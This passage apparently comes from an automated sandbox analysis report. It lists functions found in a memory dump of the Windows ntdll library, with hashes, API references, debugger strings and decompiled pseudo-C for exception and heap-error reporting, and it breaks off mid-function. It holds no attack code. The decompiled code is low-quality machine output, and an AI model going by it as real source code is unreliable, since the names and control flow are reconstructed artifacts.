Opcode ID: 24457665454172ec648fb8d2a6e20ed3a66d6914c2e0f3d8e5c3e978159e5634
Instruction ID: 5d664576ed34e104d60d9d9409068ebedb4ca3d0074abe090f0a839b89efd0e8
Opcode Fuzzy Hash: 24457665454172ec648fb8d2a6e20ed3a66d6914c2e0f3d8e5c3e978159e5634
Instruction Fuzzy Hash: DCF0C233748211DAE205B6599C83B29B3909F11724F24813BE557BB1E2D26E9622525F

Uniqueness

Uniqueness Score: -1.00%

Function 6A95967A, Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6A9A1C65,000000FF,00000007,?,00000004,00000000,?,?,?,6A9A1951,00000065,00000000,?,6A9A0C5E,?,00000000), ref: 6A959694

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 19a4584734be967080fe5f5c60c9d90bb8e39b8ec46eeb6aa04edbccf94bc27a
Instruction ID: 6a2370cf8cb68ed6bf1f74442e162686297baf0a1a71c03f34059c08104d192a
Opcode Fuzzy Hash: 19a4584734be967080fe5f5c60c9d90bb8e39b8ec46eeb6aa04edbccf94bc27a
Instruction Fuzzy Hash: 25B02BF18024C5C5F600D76006087073D403FC0300F32C021D1120600B0F3CC090F1B1

Uniqueness

Uniqueness Score: -1.00%

Function 6A9598C0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6A9A108E,000000FF,000000FF,000000FF,?,001FFFFF,00000002,00000000,6A9F07D0,00000058,6A9A0C91,?,00000000,?,00000000), ref: 6A9598CA

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: fa6be9eb6fca34f78b4459094a76662930d749794fc1343acb7a8c26eb135e46
Instruction ID: 2836650a96cbb2e46f9444bfb031d60b1f7352ac6e0998b100615679bbbf9924
Opcode Fuzzy Hash: fa6be9eb6fca34f78b4459094a76662930d749794fc1343acb7a8c26eb135e46
Instruction Fuzzy Hash: B39002A120150882F101655A4404F06244A5BE0281FF1D026E1119934D8E5DC952B265

Uniqueness

Uniqueness Score: -1.00%

Function 6A959820, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6A972EA4,?,00000000,00000000,?,00000220,?,?,?,00000001,?,\??\,?,?,00000002,?), ref: 6A95982A

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7b3d619b05f55f72d9fb14be060163d269ff3d27b87ee76df24c23c948dbd2b5
Instruction ID: dcb3ff88c445d84bab890587b0f3701d122b37288270e4666f1263f5e4098b50
Opcode Fuzzy Hash: 7b3d619b05f55f72d9fb14be060163d269ff3d27b87ee76df24c23c948dbd2b5
Instruction Fuzzy Hash: 4D9002B124150802E141755A4404606144A6BD0281FF1D022E0514924E8E9DCA56BAA1

Uniqueness

Uniqueness Score: -1.00%

Function 6A959860, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6A9A15BB,00000073,?,00000008,00000000,?,00000568), ref: 6A95986A

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 74d72cb71e7dfeee8a3a9d53510503e395cbd01093f9909b1b2aa72a2d152867
Instruction ID: 80092c73c1d53c95c1d2834f74becf07a3905afbe2d411f9c9d8d27bd2bd4bc2
Opcode Fuzzy Hash: 74d72cb71e7dfeee8a3a9d53510503e395cbd01093f9909b1b2aa72a2d152867
Instruction Fuzzy Hash: 119002B120150813E111655A4504707144A5BD0281FF1D422E0514928D9E9EC952B161

Uniqueness

Uniqueness Score: -1.00%

Function 6A9599A0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6A9A1A59,?,000F0007,?,?,00000004,08000000,00000000,00000065,00000000,00000000), ref: 6A9599AA

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 18231feee3525780e3d7ffb68f83c311dfd34a19df00965881daa7ddd86d0f63
Instruction ID: 02960608e9b81c57beae242fa8a9dd6d128c00669166374649edf03207e0d636
Opcode Fuzzy Hash: 18231feee3525780e3d7ffb68f83c311dfd34a19df00965881daa7ddd86d0f63
Instruction Fuzzy Hash: AD9002E134150842E100655A4414B0614469BE1341FB1D025E1154924D8E5DCC527166

Uniqueness

Uniqueness Score: -1.00%

Function 6A959600, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6A951119,?,?,00000018,?), ref: 6A95960A

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6b1211124a42a68fe96808b34487d650bfee4d5333721b2c9858b799fd0a2628
Instruction ID: c10db2c14935c13dd20ab7bb2ff524681cb73f49fcaa5b8da79b332ed23e4f4e
Opcode Fuzzy Hash: 6b1211124a42a68fe96808b34487d650bfee4d5333721b2c9858b799fd0a2628
Instruction Fuzzy Hash: 579002B120150842E100665A4404B4A55466BE0341FB1D025E0504A24D8D9DC8617161

Uniqueness

Uniqueness Score: -1.00%

Function 6A959660, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6A9A18BF,000000FF,00000000,00000000,0000000C,00001000,00000004,6A9F0810,0000001C,6A9A1616), ref: 6A95966A

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 842c71205d5a3fc93ce65d62e15a8a4a670b51f2c9a5c852eb651e6ad822c769
Instruction ID: 56f528443ef048b42be96119dc5a50bbba968d4870ba8bcaffd7107ecdc86aca
Opcode Fuzzy Hash: 842c71205d5a3fc93ce65d62e15a8a4a670b51f2c9a5c852eb651e6ad822c769
Instruction Fuzzy Hash: A39002B120150C02E180755A440464A14465BD1341FF1D025E0115A24DCE5DCA5977E1

Uniqueness

Uniqueness Score: -1.00%

Function 6A959780, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6A9A1A79,?,000000FF,?,00000000,00000000,00000000,?,00000001,00000000,00000004,?,000F0007,?,?,00000004), ref: 6A95978A

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c840e5d2520541cc2c9f35f8a55a1a2c7ce33ec7a7e50991748e9ac7c12a25dd
Instruction ID: 4bf5d292acd14b47aa0b13c95a2c2e7461ad9fa922a7bf9874b49c463b43be17
Opcode Fuzzy Hash: c840e5d2520541cc2c9f35f8a55a1a2c7ce33ec7a7e50991748e9ac7c12a25dd
Instruction Fuzzy Hash: 749002A921350402E180755A540860A14465BD1242FF1E425E0105928CCD5DC8696361

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6A9CB260, Relevance: 91.3, APIs: 22, Strings: 30, Instructions: 262COMMON

Download Yara Rule

APIs

DbgPrintEx.1105(00000065,00000000, *** Unhandled exception 0x%08lx, hit in %ws:%s,?,<unknown>,?,6A9F0DD8,00000018,6A9CB5A3,?,6A8F48A4,?,?,6A95B74A,6A8F1650,6A95B627), ref: 6A9CB2E6
DbgPrintEx.1105(00000065,00000000, *** A stack buffer overrun occurred in %ws:%s,<unknown>,?,6A9F0DD8,00000018,6A9CB5A3,?,6A8F48A4,?,?,6A95B74A,6A8F1650,6A95B627,6A95B627), ref: 6A9CB2FD
DbgPrintEx.1105(00000065,00000000,This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked.), ref: 6A9CB30C
DbgPrintEx.1105(00000065,00000000,If this bug ends up in the shipping product, it could be a severe security hole.), ref: 6A9CB31B
DbgPrintEx.1105(00000065,00000000,a NULL pointer), ref: 6A9CB4E7
DbgPrintEx.1105(00000065,00000000, *** enter .exr %p for the exception record,?), ref: 6A9CB4F8
DbgPrintEx.1105(00000065,00000000, *** enter .cxr %p for the context,?), ref: 6A9CB514
DbgPrintEx.1105(00000065,00000000, *** then kb to get the faulting stack), ref: 6A9CB523
DbgPrintEx.1105(00000065,00000000, *** Restarting wait on critsec or resource at %p (in %ws:%s),?,?,?), ref: 6A9CB546
RtlReportException.1105(00000000,?,00000000), ref: 6A9CB566

Strings

The stack trace should show the guilty function (the function directly above __report_gsfailure)., xrefs: 6A9CB323
The resource is owned shared by %d threads, xrefs: 6A9CB37E
If this bug ends up in the shipping product, it could be a severe security hole., xrefs: 6A9CB314
This means the data could not be read, typically because of a bad block on the disk. Check your hardware., xrefs: 6A9CB47D
a NULL pointer, xrefs: 6A9CB4E0
*** An Access Violation occurred in %ws:%s, xrefs: 6A9CB48F
The critical section is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 6A9CB3D6
*** enter .cxr %p for the context, xrefs: 6A9CB50D
This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked., xrefs: 6A9CB305
This means that the I/O device reported an I/O error. Check your hardware., xrefs: 6A9CB476
write to, xrefs: 6A9CB4A6
The resource is owned exclusively by thread %p, xrefs: 6A9CB374
*** enter .exr %p for the exception record, xrefs: 6A9CB4F1
*** Inpage error in %ws:%s, xrefs: 6A9CB418
read from, xrefs: 6A9CB4AD, 6A9CB4B2
Go determine why that thread has not released the critical section., xrefs: 6A9CB3C5
an invalid address, %p, xrefs: 6A9CB4CF
The instruction at %p tried to %s , xrefs: 6A9CB4B6
This means the machine is out of memory. Use !vm to see where all the memory is being used., xrefs: 6A9CB484
The instruction at %p referenced memory at %p., xrefs: 6A9CB432
*** Resource timeout (%p) in %ws:%s, xrefs: 6A9CB352
The critical section is owned by thread %p., xrefs: 6A9CB3B9
<unknown>, xrefs: 6A9CB27E, 6A9CB2D1, 6A9CB350, 6A9CB399, 6A9CB417, 6A9CB48E
*** Unhandled exception 0x%08lx, hit in %ws:%s, xrefs: 6A9CB2DC
*** Restarting wait on critsec or resource at %p (in %ws:%s), xrefs: 6A9CB53F
This failed because of error %Ix., xrefs: 6A9CB446
*** Critical Section Timeout (%p) in %ws:%s, xrefs: 6A9CB39B
*** then kb to get the faulting stack, xrefs: 6A9CB51C
The resource is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 6A9CB38F
*** A stack buffer overrun occurred in %ws:%s, xrefs: 6A9CB2F3

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$ExceptionReport
String ID: *** A stack buffer overrun occurred in %ws:%s$ *** An Access Violation occurred in %ws:%s$ *** Critical Section Timeout (%p) in %ws:%s$ *** Inpage error in %ws:%s$ *** Resource timeout (%p) in %ws:%s$ *** Unhandled exception 0x%08lx, hit in %ws:%s$ *** enter .cxr %p for the context$ *** Restarting wait on critsec or resource at %p (in %ws:%s)$ *** enter .exr %p for the exception record$ *** then kb to get the faulting stack$<unknown>$Go determine why that thread has not released the critical section.$If this bug ends up in the shipping product, it could be a severe security hole.$The critical section is owned by thread %p.$The critical section is unowned. This usually implies a slow-moving machine due to memory pressure$The instruction at %p referenced memory at %p.$The instruction at %p tried to %s $The resource is owned exclusively by thread %p$The resource is owned shared by %d threads$The resource is unowned. This usually implies a slow-moving machine due to memory pressure$The stack trace should show the guilty function (the function directly above __report_gsfailure).$This failed because of error %Ix.$This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked.$This means that the I/O device reported an I/O error. Check your hardware.$This means the data could not be read, typically because of a bad block on the disk. Check your hardware.$This means the machine is out of memory. Use !vm to see where all the memory is being used.$a NULL pointer$an invalid address, %p$read from$write to
API String ID: 374826753-108210295
Opcode ID: 52f5f94d13103360c674b10e68d226c90291b71c112b48be15e1cea66b8a1c36
Instruction ID: b0ab9fa52e6c0edb0969c454fc5b89625d37142a9a26deea43b74fea835118c6
Opcode Fuzzy Hash: 52f5f94d13103360c674b10e68d226c90291b71c112b48be15e1cea66b8a1c36
Instruction Fuzzy Hash: D181ED35A05510FFDB215A198C88E6F3B7AEFA6395B624049F2052B213FF25C951CAB3

Uniqueness

Uniqueness Score: -1.00%

Function 6A9D1C06, Relevance: 80.7, APIs: 21, Strings: 25, Instructions: 195
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E6A9D1C06() {
				signed int _t27;
				char* _t104;
				char* _t105;
				intOrPtr _t113;
				intOrPtr _t115;
				intOrPtr _t117;
				intOrPtr _t119;
				intOrPtr _t120;

				_t105 = 0x6a8f48a4;
				_t104 = "HEAP: ";
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E6A91B150();
				} else {
					E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push( *0x6aa0589c);
				E6A91B150("Heap error detected at %p (heap handle %p)\n",  *0x6aa058a0);
				_t27 =  *0x6aa05898; // 0x0
				if(_t27 <= 0xf) {
					switch( *((intOrPtr*)(_t27 * 4 +  &M6A9D1E96))) {
						case 0:
							_t105 = "heap_failure_internal";
							goto L21;
						case 1:
							goto L21;
						case 2:
							goto L21;
						case 3:
							goto L21;
						case 4:
							goto L21;
						case 5:
							goto L21;
						case 6:
							goto L21;
						case 7:
							goto L21;
						case 8:
							goto L21;
						case 9:
							goto L21;
						case 0xa:
							goto L21;
						case 0xb:
							goto L21;
						case 0xc:
							goto L21;
						case 0xd:
							goto L21;
						case 0xe:
							goto L21;
						case 0xf:
							goto L21;
					}
				}
				L21:
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E6A91B150();
				} else {
					E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push(_t105);
				E6A91B150("Error code: %d - %s\n",  *0x6aa05898);
				_t113 =  *0x6aa058a4; // 0x0
				if(_t113 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E6A91B150();
					} else {
						E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E6A91B150("Parameter1: %p\n",  *0x6aa058a4);
				}
				_t115 =  *0x6aa058a8; // 0x0
				if(_t115 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E6A91B150();
					} else {
						E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E6A91B150("Parameter2: %p\n",  *0x6aa058a8);
				}
				_t117 =  *0x6aa058ac; // 0x0
				if(_t117 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E6A91B150();
					} else {
						E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E6A91B150("Parameter3: %p\n",  *0x6aa058ac);
				}
				_t119 =  *0x6aa058b0; // 0x0
				if(_t119 != 0) {
					L41:
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E6A91B150();
					} else {
						E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push( *0x6aa058b4);
					E6A91B150("Last known valid blocks: before - %p, after - %p\n",  *0x6aa058b0);
				} else {
					_t120 =  *0x6aa058b4; // 0x0
					if(_t120 != 0) {
						goto L41;
					}
				}
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E6A91B150();
				} else {
					E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				return E6A91B150("Stack trace available at %p\n", 0x6aa058c0);
			}

0x6a9d1c10
0x6a9d1c16
0x6a9d1c1e
0x6a9d1c3d
0x6a9d1c3e
0x6a9d1c20
0x6a9d1c35
0x6a9d1c3a
0x6a9d1c44
0x6a9d1c55
0x6a9d1c5a
0x6a9d1c65
0x6a9d1c67
0x00000000
0x6a9d1c6e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6a9d1c67
0x6a9d1cdc
0x6a9d1ce5
0x6a9d1d04
0x6a9d1d05
0x6a9d1ce7
0x6a9d1cfc
0x6a9d1d01
0x6a9d1d0b
0x6a9d1d17
0x6a9d1d1f
0x6a9d1d25
0x6a9d1d30
0x6a9d1d4f
0x6a9d1d50
0x6a9d1d32
0x6a9d1d47
0x6a9d1d4c
0x6a9d1d61
0x6a9d1d67
0x6a9d1d68
0x6a9d1d6e
0x6a9d1d79
0x6a9d1d98
0x6a9d1d99
0x6a9d1d7b
0x6a9d1d90
0x6a9d1d95
0x6a9d1daa
0x6a9d1db0
0x6a9d1db1
0x6a9d1db7
0x6a9d1dc2
0x6a9d1de1
0x6a9d1de2
0x6a9d1dc4
0x6a9d1dd9
0x6a9d1dde
0x6a9d1df3
0x6a9d1df9
0x6a9d1dfa
0x6a9d1e00
0x6a9d1e0a
0x6a9d1e13
0x6a9d1e32
0x6a9d1e33
0x6a9d1e15
0x6a9d1e2a
0x6a9d1e2f
0x6a9d1e39
0x6a9d1e4a
0x6a9d1e02
0x6a9d1e02
0x6a9d1e08
0x00000000
0x00000000
0x6a9d1e08
0x6a9d1e5b
0x6a9d1e7a
0x6a9d1e7b
0x6a9d1e5d
0x6a9d1e72
0x6a9d1e77
0x6a9d1e95

APIs

DbgPrint.1105(HEAP[%wZ]: ,?,?,00000002,6AA058C0,6A9D20B1,?,6A9CFFAF,00000001,00000020,6AA058C0,00000000), ref: 6A9D1C35
DbgPrint.1105(HEAP: ,?,00000002,6AA058C0,6A9D20B1,?,6A9CFFAF,00000001,00000020,6AA058C0,00000000), ref: 6A9D1C3E
DbgPrint.1105(Heap error detected at %p (heap handle %p),?,00000002,6AA058C0,6A9D20B1,?,6A9CFFAF,00000001,00000020,6AA058C0,00000000), ref: 6A9D1C55
DbgPrint.1105(HEAP[%wZ]: ,?,00000020,6AA058C0,00000000), ref: 6A9D1CFC
DbgPrint.1105(HEAP: ,00000020,6AA058C0,00000000), ref: 6A9D1D05
DbgPrint.1105(Error code: %d - %s,6A8F48A4,00000020,6AA058C0,00000000), ref: 6A9D1D17
DbgPrint.1105(HEAP[%wZ]: ,?,?,?,?,?,6AA058C0,00000000), ref: 6A9D1D47
DbgPrint.1105(HEAP: ,?,?,?,?,6AA058C0,00000000), ref: 6A9D1D50
DbgPrint.1105(Parameter1: %p,?,?,?,?,6AA058C0,00000000), ref: 6A9D1D61
DbgPrint.1105(HEAP[%wZ]: ,?,?,?,?,?,6AA058C0,00000000), ref: 6A9D1D90
DbgPrint.1105(HEAP: ,?,?,?,?,6AA058C0,00000000), ref: 6A9D1D99
DbgPrint.1105(Parameter2: %p,?,?,?,?,6AA058C0,00000000), ref: 6A9D1DAA
DbgPrint.1105(HEAP[%wZ]: ,?,?,?,?,?,6AA058C0,00000000), ref: 6A9D1DD9
DbgPrint.1105(HEAP: ,?,?,?,?,6AA058C0,00000000), ref: 6A9D1DE2
DbgPrint.1105(Parameter3: %p,?,?,?,?,6AA058C0,00000000), ref: 6A9D1DF3
DbgPrint.1105(HEAP[%wZ]: ,?,?,?,?,?,6AA058C0,00000000), ref: 6A9D1E2A
DbgPrint.1105(HEAP: ,?,?,?,?,6AA058C0,00000000), ref: 6A9D1E33
DbgPrint.1105(Last known valid blocks: before - %p, after - %p,?,?,?,?,6AA058C0,00000000), ref: 6A9D1E4A
DbgPrint.1105(HEAP[%wZ]: ,?,?,?,?,?,?,?,?,6AA058C0,00000000), ref: 6A9D1E72
DbgPrint.1105(Stack trace available at %p,6AA058C0,?,?,?,?,?,?,?,6AA058C0,00000000), ref: 6A9D1E8B

Strings

Parameter1: %p, xrefs: 6A9D1D5C
HEAP[%wZ]: , xrefs: 6A9D1C30, 6A9D1CF7, 6A9D1D42, 6A9D1D8B, 6A9D1DD4, 6A9D1E25, 6A9D1E6D
heap_failure_usage_after_free, xrefs: 6A9D1CBB
heap_failure_lfh_bitmap_mismatch, xrefs: 6A9D1CD7
heap_failure_unknown, xrefs: 6A9D1C75
heap_failure_invalid_argument, xrefs: 6A9D1CAD
heap_failure_listentry_corruption, xrefs: 6A9D1CD0
Stack trace available at %p, xrefs: 6A9D1E86
heap_failure_buffer_underrun, xrefs: 6A9D1C9F
Parameter3: %p, xrefs: 6A9D1DEE
heap_failure_buffer_overrun, xrefs: 6A9D1C98
heap_failure_cross_heap_operation, xrefs: 6A9D1CC2
heap_failure_virtual_block_corruption, xrefs: 6A9D1C91
heap_failure_multiple_entries_corruption, xrefs: 6A9D1C8A
heap_failure_block_not_busy, xrefs: 6A9D1CA6
Error code: %d - %s, xrefs: 6A9D1D12
Parameter2: %p, xrefs: 6A9D1DA5
Last known valid blocks: before - %p, after - %p, xrefs: 6A9D1E45
heap_failure_freelists_corruption, xrefs: 6A9D1CC9
heap_failure_entry_corruption, xrefs: 6A9D1C83
heap_failure_invalid_allocation_type, xrefs: 6A9D1CB4
HEAP: , xrefs: 6A9D1C16, 6A9D1C3D, 6A9D1D04, 6A9D1D4F, 6A9D1D98, 6A9D1DE1, 6A9D1E32, 6A9D1E7A
heap_failure_internal, xrefs: 6A9D1C6E
heap_failure_generic, xrefs: 6A9D1C7C
Heap error detected at %p (heap handle %p), xrefs: 6A9D1C50

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: Error code: %d - %s$HEAP: $HEAP[%wZ]: $Heap error detected at %p (heap handle %p)$Last known valid blocks: before - %p, after - %p$Parameter1: %p$Parameter2: %p$Parameter3: %p$Stack trace available at %p$heap_failure_block_not_busy$heap_failure_buffer_overrun$heap_failure_buffer_underrun$heap_failure_cross_heap_operation$heap_failure_entry_corruption$heap_failure_freelists_corruption$heap_failure_generic$heap_failure_internal$heap_failure_invalid_allocation_type$heap_failure_invalid_argument$heap_failure_lfh_bitmap_mismatch$heap_failure_listentry_corruption$heap_failure_multiple_entries_corruption$heap_failure_unknown$heap_failure_usage_after_free$heap_failure_virtual_block_corruption
API String ID: 3558298466-2897834094
Opcode ID: 956e4f555d978b09c7982e3494f59857990123baddd377d59c886089505d54c7
Instruction ID: e96fc01ea1dd93547a607217a504b83f4eda1af29bdf9872f9858bb1a214b596
Opcode Fuzzy Hash: 956e4f555d978b09c7982e3494f59857990123baddd377d59c886089505d54c7
Instruction Fuzzy Hash: B761C637018945EFDB11AB98D4C892173F5EB07664B37C42EF9149B322CF24DCC28A29

Uniqueness

Uniqueness Score: -1.00%

Function 6A94C9BF, Relevance: 51.2, APIs: 18, Strings: 11, Instructions: 412
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E6A94C9BF(void* __ecx, signed int __edx, signed int _a4, intOrPtr _a12) {
				signed int _v12;
				char _v552;
				char _v1072;
				char _v1073;
				signed int _v1080;
				signed int _v1084;
				signed short _v1088;
				void* _v1092;
				signed short _v1094;
				char _v1096;
				char _v1100;
				intOrPtr _v1104;
				void* _v1108;
				char _v1112;
				char _v1116;
				signed short _v1120;
				char _v1124;
				char* _v1128;
				char _v1132;
				char _v1135;
				char _v1136;
				void* _v1140;
				char _v1144;
				intOrPtr _v1148;
				short _v1150;
				char _v1152;
				void* _v1156;
				char* _v1160;
				char _v1164;
				void* _v1168;
				void* _v1172;
				intOrPtr _v1176;
				void* _v1180;
				char _v1184;
				signed int _v1188;
				signed int _v1192;
				intOrPtr _v1196;
				char* _v1200;
				intOrPtr _v1204;
				char _v1208;
				char _v1216;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t166;
				void* _t170;
				wchar_t* _t184;
				signed short _t188;
				char _t199;
				intOrPtr _t200;
				signed int _t205;
				signed int _t207;
				intOrPtr _t218;
				short _t219;
				char _t236;
				char _t242;
				signed int _t253;
				intOrPtr _t258;
				void* _t260;
				signed int _t264;
				void* _t272;
				void* _t276;
				unsigned int _t277;
				signed short _t279;
				signed int _t280;
				void* _t281;
				void* _t305;

				_t271 = __edx;
				_v12 =  *0x6aa0d360 ^ _t280;
				_t253 = _a4;
				_v1104 = _a12;
				_t272 = __ecx;
				_v1160 =  &_v1072;
				_v1168 = __ecx;
				_t166 = 0;
				_v1073 = 0;
				_v1084 = 0;
				_t274 = 0;
				_v1156 = 0;
				_v1164 = 0x2080000;
				_v1096 = 0;
				_v1092 = 0;
				_v1112 = 0;
				_v1108 = 0;
				_v1100 = 0;
				if(__ecx == 0) {
					L67:
					_push(_t166);
					_push(_t253);
					_push(_t271);
					_push(_t272);
